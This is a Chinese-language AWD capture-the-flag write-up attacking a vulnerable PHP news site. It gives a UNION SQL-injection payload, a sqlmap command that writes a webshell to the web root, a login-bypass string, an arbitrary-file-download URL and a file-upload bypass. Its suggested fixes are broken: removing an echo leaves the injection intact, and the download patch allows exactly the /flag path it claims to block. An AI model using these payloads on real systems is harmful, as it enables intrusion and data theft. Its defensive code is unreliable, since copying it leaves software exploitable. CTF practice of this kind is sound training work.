前言
需要提前安装好AWD👉个人AWD的安装。
一.搜索框SQL注入
通关搜索框,发现有注入逻辑,下图👇
根据逻辑可以写出payload如下,在搜索框输入即可获得flag
aa%' union select 1,load_file('/flag'),3#
1.SQLMAP注入写入文件
这个方法是偶尔看见的突然感觉有用,在此记录一下,SQLMAP的–file-write和–file-dest可以直接写入一句话木马,下面shell.php
是放在sqlmap下面的一句话木马文件,会放在/var/www/html/下的shell.php里面去。
python sqlmap.py -r 1.txt --file-write="shell.php" --file-dest="/var/www/html/shell.php"
然后直接访问用蚁剑连接即可
如何防护
目录下面的sqlgunsearch.php
,源码如下,最简单的修复方式就是把echo输出逻辑的那个行删掉
define('GUY','true');
require 'common.inc.php';
global $_system;
if(isset($_POST['key'])){
$_key=trim($_POST['key']);
}else{
echo '<script type="text/javascript">alert("非法访问!");location.href="index.php";</script>';
}
if(isset($_GET['page'])){
$_page=$_GET['page'];
if(empty($_page)|| !is_numeric($_page)||$_page<0|| ($_page>0 && $_page<1)){
$_page=1;
}else{
$_page=intval($_page);
}
}else{
$_page=1;
}
$_pagenums=$_system['pagenums'];
$_pageopen=($_page-1)*$_pagenums;
echo "select id from news where title like '%$_key%'";
$_result=mysql_query("select id from news where title like '%$_key%'");
$_nums=mysql_num_rows($_result);
$_pages=ceil($_nums/$_pagenums);
$_results=mysql_query("select id,title,date from news where title like '%$_key%' order by date DESC limit $_pageopen,$_pagenums");
?>
二.后台SQL注入
代码审计的时候在发现了后台路径
注入数据包如下👇
POST /sqlgunadmin/login.php?action=login HTTP/1.1
Host: 192.168.1.25:8801
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: http://192.168.1.25:8801
Connection: close
Referer: http://192.168.1.25:8801/sqlgunadmin/login.php
Cookie: PHPSESSID=a1a8ana5oci4uib331h2vo5mn6
Upgrade-Insecure-Requests: 1
admin=1&password=1&yzm=55b5
SQLMAP语句
python sqlmap.py -r 1.txt --dbs
源码如下,根据SQL语句PHP万能密码应该是这样的admin}’ or 1=1#
$_result=@mysql_query("select * from admin where admin='{$_html[admin]}' and password='{$_html['password']}'")or die('登录错误');
三.任意文件下载
登录进去后台,账户密码都是admin,找到如下图位置👇,反正就是怎么点他都不下载。
然后审计后台文件,发现一个叫做downlog.php
的文件,就和他名字一下用来下载日志的,联想和上图对应,下面是源代码👇,第一个参数必须要为down然后第二个参数,是要传输路径,然后fopen打开读取,由此,payload应该是http://192.168.1.25:8801/sqlgunadmin/downlog.php?downlog=down&filepath=/flag
,可以下载flag文件
<?php
if($_GET["downlog"]=="down"){
if(isset($_GET["filepath"])){
$file_path=$_GET["filepath"];
$fp=fopen($file_path,"r");
$file_size=filesize($file_path);
//下载文件需要用到的头
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=log.txt");
$buffer=1024;
$file_count=0;
//向浏览器返回数据
while(!feof($fp) && $file_count<$file_size){
$file_con=fread($fp,$buffer);
$file_count+=$buffer;
echo $file_con;
}
fclose($fp);
}
}
?>
怎么防护,防护我感觉也挺简单的,加一个if语句就可以了,判断是否为正确的路径即可,如果不是那么就是不行,修改后代码如下
<?php
if($_GET["downlog"]=="down"){
if(isset($_GET["filepath"])){
$file_path=$_GET["filepath"];
if($file_path==="/flag"){
$fp=fopen($file_path,"r");
$file_size=filesize($file_path);
//下载文件需要用到的头
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=log.txt");
$buffer=1024;
$file_count=0;
//向浏览器返回数据
while(!feof($fp) && $file_count<$file_size){
$file_con=fread($fp,$buffer);
$file_count+=$buffer;
echo $file_con;
}
fclose($fp);
}else{
echo "小臂崽子你不能看flag哈哈哈哈";
}
}
}
?>
四.文件上传漏洞
在后台的新闻发布管理里面有上传文件的操作,如下图👇。
发现是非常简单的js过滤啊,直接BP抓包改包就过了,BP抓包发现图片的路径是在 /sqlgunadmin/kindedit/attached/20220316/20220316135333_51121.php
里面啊,然后直接蚁剑连接即可